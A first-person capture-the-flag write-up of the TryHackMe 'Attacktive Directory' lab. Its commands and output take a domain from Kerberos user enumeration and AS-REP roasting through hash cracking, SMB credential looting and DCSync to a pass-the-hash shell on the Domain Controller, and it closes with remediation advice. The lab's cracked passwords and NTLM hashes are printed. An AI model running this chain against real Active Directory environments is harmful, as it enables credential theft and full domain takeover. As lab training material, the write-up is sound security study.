Attacktive Directory Comprehensive Domain Compromise Analysis

This report documents the systematic exploitation of a misconfigured Active Directory (AD) environment. The attack chain follows the standard **Cyber Kill Chain** methodology: from initial reconnaissance and credential harvesting (AS-REP Roasting) to lateral movement via SMB and final domain-wide compromise using **DCSync** techniques.

Tech Stack & Methodology

- **Environment:** TryHackMe (Attacktive Directory)
- **Operating System:** Windows Server (Domain Controller)
- **Tooling:** Nmap, Kerbrute, Impacket Suite (GetNPUsers, SecretsDump), Hashcat, Evil-WinRM.
- **Target Domain:** `spookysec.local`

Phase 1: Infrastructure Reconnaissance

The engagement began with an aggressive service scan to identify the attack surface of the Domain Controller.

command: `nmap -sC -sV -oN scan.txt 10.66.176.209`

```
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-23 01:19:08Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: spookysec.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: spookysec.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local
| Not valid before: 2026-04-22T00:43:26
|_Not valid after:  2026-10-22T00:43:26
|_ssl-date: 2026-04-23T01:19:23+00:00; -1s from scanner time.
| rdp-ntlm-info:
|   Target_Name: THM-AD
|   NetBIOS_Domain_Name: THM-AD
|   NetBIOS_Computer_Name: ATTACKTIVEDIREC
```

```
|   DNS_Domain_Name: spookysec.local
|   DNS_Computer_Name: AttacktiveDirectory.spookysec.local
|   Product_Version: 10.0.17763
|_  System_Time: 2026-04-23T01:19:14+00:00
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
| smb2-time:
|   date: 2026-04-23T01:19:17
|_  start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
```

Key Findings from Nmap:

- **Domain Name:** The scan identified the internal domain as `spookysec.local`.
- **Active Directory Services:** Common AD ports are open, including **LDAP (389)**, **Kerberos (88)**, and **RPC (135)**.
- **SMB (445):** This service is active, which is a primary target for user enumeration and searching for misconfigured shares.
- **DNS (53):** The target is running *Simple DNS Plus*, which is typical for Windows Domain Controllers.
- **389: LDAP/sConfirms the target's role as a Domain Controller.

Phase 2: Active Directory User Enumeration

Since Kerberos is active, we can leverage **Kerberos Pre-Authentication** for stealthy user enumeration. Unlike standard login attempts, this method does not trigger account lockout policies.

Tool: `kerbrute`

command: `kerbrute userenum -d spookysec.local --dc 10.66.176.209 userList.txt`

```
2026/04/22 21:24:36 >  Using KDC(s):
2026/04/22 21:24:36 >   10.66.176.209:88

2026/04/22 21:24:36 >  [+] VALID USERNAME:       james@spookysec.local
2026/04/22 21:24:38 >  [+] VALID USERNAME:       svc-admin@spookysec.local
2026/04/22 21:24:40 >  [+] VALID USERNAME:       James@spookysec.local
2026/04/22 21:24:40 >  [+] VALID USERNAME:       robin@spookysec.local
2026/04/22 21:24:49 >  [+] VALID USERNAME:       darkstar@spookysec.local
2026/04/22 21:24:55 >  [+] VALID USERNAME:       administrator@spookysec.local
2026/04/22 21:25:07 >  [+] VALID USERNAME:       backup@spookysec.local
2026/04/22 21:25:14 >  [+] VALID USERNAME:       paradox@spookysec.local
2026/04/22 21:25:47 >  [+] VALID USERNAME:       JAMES@spookysec.local
2026/04/22 21:25:57 >  [+] VALID USERNAME:       Robin@spookysec.local
2026/04/22 21:27:00 >  [+] VALID USERNAME:       Administrator@spookysec.local
2026/04/22 21:29:07 >  [+] VALID USERNAME:       Darkstar@spookysec.local
2026/04/22 21:29:50 >  [+] VALID USERNAME:       Paradox@spookysec.local
2026/04/22 21:32:16 >  [+] VALID USERNAME:       DARKSTAR@spookysec.local
2026/04/22 21:33:01 >  [+] VALID USERNAME:       ori@spookysec.local
2026/04/22 21:34:29 >  [+] VALID USERNAME:       ROBIN@spookysec.local
2026/04/22 21:37:57 >  Done! Tested 73317 usernames (16 valid) in 801.717 seconds
```

Results: Several valid usernames were identified, including `svc-admin` and `james`. Identifying `svc-admin` accounts are frequently misconfigured with excessive privileges.

Phase 3: Exploiting Misconfigurations (AS-REP Roasting)

I targeted accounts with the `UF_DONT_REQUIRE_PREAUTH` flag enabled. This allows any attacker to request an authentication ticket (AS-REP) for that user without a password.

1. Credential Harvesting

Using Impacket's `GetNPUsers.py` within a **Python Virtual Environment (venv)** to ensure stability on my EndeavourOS host:

command:
`python3 GetNPUsers.py spookysec.local/ -no-pass -usersfile valid_users.txt -dc-ip 10.66.176.209`

```
(venv) [[redacted]-satellitep850 examples]$ python3 GetNPUsers.py spookysec.local/ -no-pass -usersfile /home/[redacted]s/valid_users.txt -dc-
ip 10.66.176.209
Impacket v0.14.0.dev0+20260422.43220.c64818ca - Copyright Fortra, LLC and its affiliated companies

[-] User james@spookysec.local doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc-admin@spookysec.local@SPOOKYSEC.LOCAL:148a545b3c1d5db67d085c2518bb28e4$96e5d218d1b7f62c7371a435a57d1711e669f80aa07ab5d5a6
3fb44b91ac1c6286379f0d5aa5b495afe3118625f712d3dee75a6c3e7267285093f4f96c1d9088404161b67446d582c721aa7d0b4d712c0eb50f466f6f97378999f43a3f3c1
1c6cc1360e39a997e2c74f21608fca110853fc412b68a6722a57c6a53bf069e10b58568a434c273c37d9789bd349f593145d399b6bc9bc369df6acbbdc54f1c53a3c113f216
f719fccf1299c60e3faf8b993a765dd4f21081cef08049b9df3c31b068af2753b699bd96494aba14ea3113be77ab893ee68091f41f46f97f20bf6a64548b48ace46b14908cb
586d390dc6d25416c
[-] User James@spookysec.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User robin@spookysec.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User darkstar@spookysec.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User administrator@spookysec.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User backup@spookysec.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User paradox@spookysec.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User JAMES@spookysec.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Robin@spookysec.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Administrator@spookysec.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Darkstar@spookysec.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Paradox@spookysec.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User DARKSTAR@spookysec.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ori@spookysec.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ROBIN@spookysec.local doesn't have UF_DONT_REQUIRE_PREAUTH set
```

Outcome: The account `svc-admin` was found vulnerable. I successfully extracted a **Kerberos 5 AS-REP (etype 23)** hash.

2. Offline Cracking via Hashcat

To recover the plaintext password, I utilized an offline dictionary attack.
command: `hashcat -m 18200 svc_admin.hash password.txt`
Hash Mode (18200): Selected specifically for **Kerberos 5 AS-REP (etype 23)**.

Kerberos 5, etype 23, AS-REP	$krb5asrep$

```
$krb5asrep$23$svc-admin@spookysec.local@SPOOKYSEC.LOCAL:148a545b3c1d5db67d085c2518bb28e4$96e5d218d1b7f62c7371a435a57d1711e669f80aa07ab5d5a6
3fb44b91ac1c6286379f0d5aa5b495afe3118625f712d3dee75a6c3e7267285093f4f96c1d9088404161b67446d582c721aa7d0b4d712c0eb50f466f6f97378999f43a3f3c1
1c6cc1360e39a997e2c74f21608fca110853fc412b68a6722a57c6a53bf069e10b58568a434c273c37d9789bd349f593145d399b6bc9bc369df6acbbdc54f1c53a3c113f216
f719fccf1299c60e3faf8b993a765dd4f21081cef08049b9df3c31b068af2753b699bd96494aba14ea3113be77ab893ee68091f41f46f97f20bf6a64548b48ace46b14908cb
586d390dc6d25416c:management2005
```

Recovered Password: `management2005`

Phase 4: Post-Exploitation & Information Disclosure

With `svc-admin` credentials, I performed authenticated enumeration of SMB shares

command:
`smbclient -L \\\\10.66.176.209\\ -U svc-admin`

```
Password for [WORKGROUP\svc-admin]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        backup          Disk
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        SYSVOL          Disk      Logon server share
SMB1 disabled -- no workgroup available
```

Discovery: The `backup` Share

The enumeration revealed a non-standard share named `backup`. Inside, I located `backup_credentials.txt`, which contained a **Base64 encoded string**.

now i have identified backup directory as a high interest target i used this comand to know what backup has

`smbclient //10.66.176.209/backup -U svc-admin`

```
[[redacted]s@[redacted]-satellitep850 ~]$ smbclient //10.66.176.209/backup -U svc-admin
Can't load /etc/samba/smb.conf - run testparm to debug it
Password for [WORKGROUP\svc-admin]:
Try "help" to get a list of possible commands.
smb: \>
```

Now i'm inside the backup file with **- ls** i can list every file

```
smb: \> ls
  .                                   D        0  Sat Apr  4 14:08:39 2020
  ..                                  D        0  Sat Apr  4 14:08:39 2020
  backup_credentials.txt              A       48  Sat Apr  4 14:08:53 2020

                8247551 blocks of size 4096. 4429137 blocks available
smb: \>
```

then use get to pass to my machine de txt file

```
smb: \> get backup_credentials.txt
getting file \backup_credentials.txt of size 48 as backup_credentials.txt (0,1 KiloBytes/sec) (average 0,1 KiloBytes/sec)
```

with this txt file in my machine will read what it has

```
[k[redacted]s-satellitep850 ~]$ cat backup_credentials.txt
YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw[k[redacted]-satellitep850 ~]$
```

which contained a **Base64 encoded string**. with this command i got de encoding value

`echo "YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw" | base64 -d`

I got the value and this provided access to a **Backup Operator** account.

```
backup@spookysec.local:backup2517860
```

Phase 5: Domain Escalation (DCSync Attack)

The Logic: In AD environments, Backup Accounts often hold the `SeBackupPrivilege`. This allows the account to read any file on the DC, including the **NTDS.dit** (the database containing all domain hashes).

Executing SecretsDump

I utilized Impacket's `secretsdump.py` to simulate a Domain Controller synchronization (DCSync).

`python3 secretsdump.py spookysec.local/backup:backup2517860@10.66.176.209

```
Impacket v0.14.0.dev0+20260422.43220.c64818ca - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21:::
spookysec.local\skidy:1103:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\breakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
```

Critical Result: Extracted the **NTLM hash** for the Domain Administrator.

- **Administrator:** `0e0363213e37b94221497260b0bcb4fc

Phase 6: Final Access via Pass-the-Hash (PtH)

To demonstrate full control, I used **Evil-WinRM** to gain a remote shell. By using the **Pass-the-Hash** technique, I bypassed the need for the plaintext password.

command:
`evil-winrm -i 10.66.176.209 -u Administrator -H 0e0363213e37b94221497260b0bcb4fc

```
[kronos@kronos-satellitep850 ~]$ evil-winrm -i 10.66.176.209 -u Administrator -H 0e0363213e37b94221497260b0bcb4fc
/usr/lib/ruby/gems/3.4.0/gems/winrm-2.3.9/lib/winrm/psrp/fragment.rb:35: warning: redefining 'object_id' may cause serious problems
/usr/lib/ruby/gems/3.4.0/gems/winrm-2.3.9/lib/winrm/psrp/message_fragmenter.rb:29: warning: redefining 'object_id' may cause serious proble
ms

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method 'quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
```

Impact: Full `NT AUTHORITY\SYSTEM` access achieved. The domain is completely compromised.

Remediation & Mitigation Strategy

To defend against this attack vector, the following controls are recommended:

1. **Enforce Kerberos Pre-Authentication:** Disable the `Do not require Kerberos pre-authentication` attribute for all users to prevent AS-REP Roasting.
2. **Privileged Group Audit:** Strictly limit membership in the `Backup Operators` group. Use the principle of "Least Privilege."
3. **Implement gMSA:** Transition service accounts to **Group Managed Service Accounts (gMSA)** to ensure complex, automatically rotated passwords.
4. **Credential Guard:** Enable Windows Defender Credential Guard to protect NTLM hashes in memory and mitigate Pass-the-Hash attacks.